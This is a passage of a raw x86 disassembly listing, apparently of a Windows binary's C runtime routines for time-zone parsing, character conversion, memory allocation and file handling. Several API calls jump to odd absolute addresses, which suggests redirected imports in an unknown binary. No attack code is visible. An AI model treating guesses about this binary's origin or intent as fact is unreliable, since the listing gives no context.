pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_4CDC78, 0 jnz short locret_42094D call sub_42094E inc dword_4CDC78 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4CDBC0, ebp mov dword_4366E8, ebx mov dword_4366D8, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_4CDBC8 nop call near ptr 2820000h cmp eax, ebx jz loc_420BA6 mov eax, dword_4CDBC8 mov ecx, dword_4CDC1C imul eax, 3Ch cmp word_4CDC0E, bp push 1 pop edx mov dword_436640, eax mov dword_4CDBC0, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_436640, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_4CDC62, bp jz short loc_4209E9 mov eax, dword_4CDC70 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_436644, edx imul eax, 3Ch mov dword_436648, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_436644, ebp mov dword_436648, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_4366CC push ebx push offset dword_4CDBCC push edi push dword_4CDA58 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_4366CC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_4366CC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4366D0 push ebx push offset dword_4CDC20 push edi push dword_4CDA58 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_4366D0 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_4CDC74 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_4CDC74 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_4CDC74, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_4366CC call sub_418C10 mov eax, off_4366CC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_436640, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_436640, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_436644, eax jz short loc_420B9E push 3 push esi push off_4366D0 call sub_418C10 mov eax, off_4366D0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_4366D0 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_436644, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4366D8 jnz short loc_420BDE cmp eax, dword_4366E8 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_4CDBC0, edi jz loc_420CB6 movzx ecx, word_4CDC6E push ecx cmp word_4CDC60, di movzx ecx, word_4CDC6C push ecx movzx ecx, word_4CDC6A push ecx movzx ecx, word_4CDC68 push ecx jnz short loc_420C30 movzx ecx, word_4CDC64 push edi push ecx movzx ecx, word_4CDC66 push ecx movzx ecx, word_4CDC62 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_4CDC66 push ecx push edi movzx ecx, word_4CDC62 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_4CDC1A add esp, 2Ch cmp word_4CDC0C, di push eax movzx eax, word_4CDC18 push eax movzx eax, word_4CDC16 push eax movzx eax, word_4CDC14 push eax jnz short loc_420C9E movzx eax, word_4CDC10 push edi push eax movzx eax, word_4CDC12 push eax movzx eax, word_4CDC0E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_4CDC12 push eax push edi movzx eax, word_4CDC0E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_4366DC mov eax, dword_4366EC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_4366E0 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_4366F0 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_4366F0[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_436724[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_4366F4[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_436728[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_4366F0[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_436724[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_4366DC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4366D8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366E0, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_4366EC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_436648 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366F0, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_4366F0, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_4366F0, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_4366EC, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_4366E8, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_4CDA48, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_433C70 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_433E7C cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4CDA58 nop call near ptr 2650000h test eax, eax mov eax, dword_433E7C jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4CDA58 call near ptr 2650000h nop test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_433E7C, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4CEF01[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_433C7A[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4CDC7C, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" nop call near ptr 2710771h mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4CDC7C, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4CDC80, eax call esi mov dword_4CDC84, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_4CDC80 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_4CDC84 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4CDC7C loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_4CF020 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_435EB4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_4CF024 nop call near ptr 2730000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_4CDA14, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4CECC0, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_4CDCB0 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_4CDCB0 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_4CECC0 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4CEDE0 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_4CD9B8, 5 jnz short loc_4212C3 mov dword_4CD9B4, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_4CD9B4, 0Dh nop call near ptr 2670ADCh mov dword_4CD9B8, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_4CD9B4, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; --------------------------------------------------------------------------- 